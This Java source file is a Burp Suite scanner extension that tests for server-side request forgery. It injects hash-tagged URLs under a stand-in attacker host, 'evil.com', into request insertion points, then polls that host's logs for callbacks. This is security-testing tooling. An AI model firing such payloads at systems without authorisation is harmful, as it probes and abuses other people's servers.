package burp.zn.band;
import burp.*;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.IOException;
import java.net.URL;
import java.util.*;
public class SSRFScannerCheck implements IScannerCheck {
static final Logger log = LogManager.getLogger(SSRFScannerCheck.class.getName());
private final static String DNS_LOOKUP_SERVER = "http://{{HASH}}.evil.com";
private final static String DNS_LOOKUP_SERVER_LOGS = "http://evil.com:80/logs";
private final static long TIME_SECONDS_10 = 1000 * 10;
private final static long TIME_SECONDS_30 = 1000 * 30;
private final IExtensionHelpers helpers;
private final IBurpExtenderCallbacks callbacks;
private final Map<String, IHttpRequestResponse> requestedInsertionPoints = new HashMap<>();
public SSRFScannerCheck(IBurpExtenderCallbacks callbacks) {
this.callbacks = callbacks;
this.helpers = callbacks.getHelpers();
registerChecker();
}
@Override
public List<IScanIssue> doActiveScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
String hash = DigestUtils.shaHex(helpers.base64Encode(baseRequestResponse.getRequest()));
log.info("SSRF_HASH: " + hash);
/**
* Build new injection payload with provided DNS lookup server and provided Hash
*/
byte[] request = insertionPoint.buildRequest(helpers.stringToBytes(DNS_LOOKUP_SERVER.replace("{{HASH}}", hash)));
IHttpRequestResponse requestResponse = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), request);
requestedInsertionPoints.put(hash, requestResponse);
/**
* Result of request we'll try to find in DNS lookup server later
*/
return null;
}
private void registerChecker() {
TimerTask task = new TimerTask() {
@Override
public void run() {
try {
check();
} catch (Exception e) {
e.printStackTrace();
}
}
};
new Timer().schedule(task, TIME_SECONDS_10, TIME_SECONDS_30);
}
private void check() throws IOException {
log.info("Trying check SSRF hashes");
if (requestedInsertionPoints.isEmpty()) {
return;
}
/**
* Make request for DNS logs
*/
URL url = new URL(DNS_LOOKUP_SERVER_LOGS);
byte[] response = callbacks.makeHttpRequest(url.getHost(), 80, false, helpers.buildHttpRequest(url));
String dnsResponseString = helpers.bytesToString(response);
/**
* Remove all insertion points
* and add Issue to scanner for insertion points which contains in DNS Logs
*/
requestedInsertionPoints.entrySet().removeIf(entry -> {
boolean contains = dnsResponseString.contains(entry.getKey());
if (contains) {
log.warn("SSRF Found: " + entry.getKey());
callbacks.addScanIssue(new SSRFScanIssue(callbacks, entry.getKey(), entry.getValue()));
return true;
}
return false;
});
}
@Override
public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) {
return null;
}
@Override
public int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue) {
return 0;
}
}